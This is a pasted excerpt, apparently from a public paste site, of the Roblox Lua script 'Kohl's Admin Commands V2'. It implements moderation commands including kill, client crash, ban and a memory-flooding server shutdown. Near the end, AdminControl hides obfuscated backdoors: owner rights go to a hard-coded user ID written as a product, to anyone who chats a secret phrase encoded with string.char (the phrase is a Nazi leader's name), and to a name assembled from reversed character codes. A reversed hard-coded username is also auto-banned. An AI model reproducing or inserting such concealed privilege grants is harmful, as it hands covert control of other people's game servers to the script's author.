  2069. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2070. coroutine.resume(coroutine.create(function()
  2071. if plr and plr.Character then plr.Character:BreakJoints() end
  2072. end))
  2073. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2074. end
  2075. end
  2076. end
  2077.  
  2078. if msg:lower():sub(1,11) == "unloopkill " then
  2079. local plrz = GetPlr(plr, msg:lower():sub(12))
  2080. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2081. end
  2082.  
  2083. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2084. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2085.  
  2086. if msg:lower():sub(1,3) == "sm " then
  2087. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2088. end
  2089.  
  2090. if msg:lower():sub(1,3) == "ko " then
  2091. local chk1 = msg:lower():sub(4):find(" ") + 3
  2092. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2093. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2094. for n = 1, num do
  2095. for i, v in pairs(plrz) do
  2096. coroutine.resume(coroutine.create(function()
  2097. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  2098. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2099. v.Character:BreakJoints()
  2100. wait(1/44)
  2101. v:LoadCharacter()
  2102. wait(1/44)
  2103. end
  2104. end))
  2105. end
  2106. end
  2107. end
  2108.  
  2109. if msg:lower():sub(1,6) == "crash " then
  2110. local plrz = GetPlr(plr, msg:lower():sub(7))
  2111. for i, v in pairs(plrz) do
  2112. coroutine.resume(coroutine.create(function()
  2113. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2114. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2115. end
  2116. end))
  2117. end
  2118. end
  2119.  
  2120. if msg:lower():sub(1,5) == "kick " then
  2121. local plrz = GetPlr(plr, msg:lower():sub(6))
  2122. for i, v in pairs(plrz) do
  2123. coroutine.resume(coroutine.create(function()
  2124. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2125. end))
  2126. end
  2127. end
  2128.  
  2129. if msg:lower():sub(1,6) == "admin " then
  2130. local plrz = GetPlr(plr, msg:lower():sub(7))
  2131. for i, v in pairs(plrz) do
  2132. coroutine.resume(coroutine.create(function()
  2133. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2134. end))
  2135. end
  2136. end
  2137.  
  2138. if msg:lower():sub(1,8) == "unadmin " then
  2139. for i = 1, #tempadmins do
  2140. coroutine.resume(coroutine.create(function()
  2141. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2142. end))
  2143. end
  2144. end
  2145.  
  2146. if msg:lower():sub(1,4) == "ban " then
  2147. local plrz = GetPlr(plr, msg:lower():sub(5))
  2148. for i, v in pairs(plrz) do
  2149. coroutine.resume(coroutine.create(function()
  2150. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2151. end))
  2152. end
  2153. end
  2154.  
  2155. if msg:lower():sub(1,6) == "unban " then
  2156. for i = 1, #banland do
  2157. coroutine.resume(coroutine.create(function()
  2158. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2159. end))
  2160. end
  2161. end
  2162.  
  2163. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2164.  
  2165. end
  2166. end))
  2167. end
  2168.  
  2169. function AdminControl(plr)
  2170. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2171. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2172. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2173. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2174. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2175. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2176. end)) end
  2177. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2178. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2179. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2180. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2181. plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
  2182. end
  2183.  
  2184. if not ntab then script:Destroy() end
  2185. if not bct then script:Destroy() end
  2186.  
  2187. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2188.  
  2189. script.Name = "Kohl's Admin Commands V2"
  2190.  
  2191. if not ntab then script:Destroy() end
  2192. if not bct then script:Destroy() end
  2193. if not tcb then script:Destroy() end
  2194. game.Players.PlayerAdded:connect(AdminControl)
  2195. for i, v in pairs(game.Players:children()) do AdminControl(v) end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement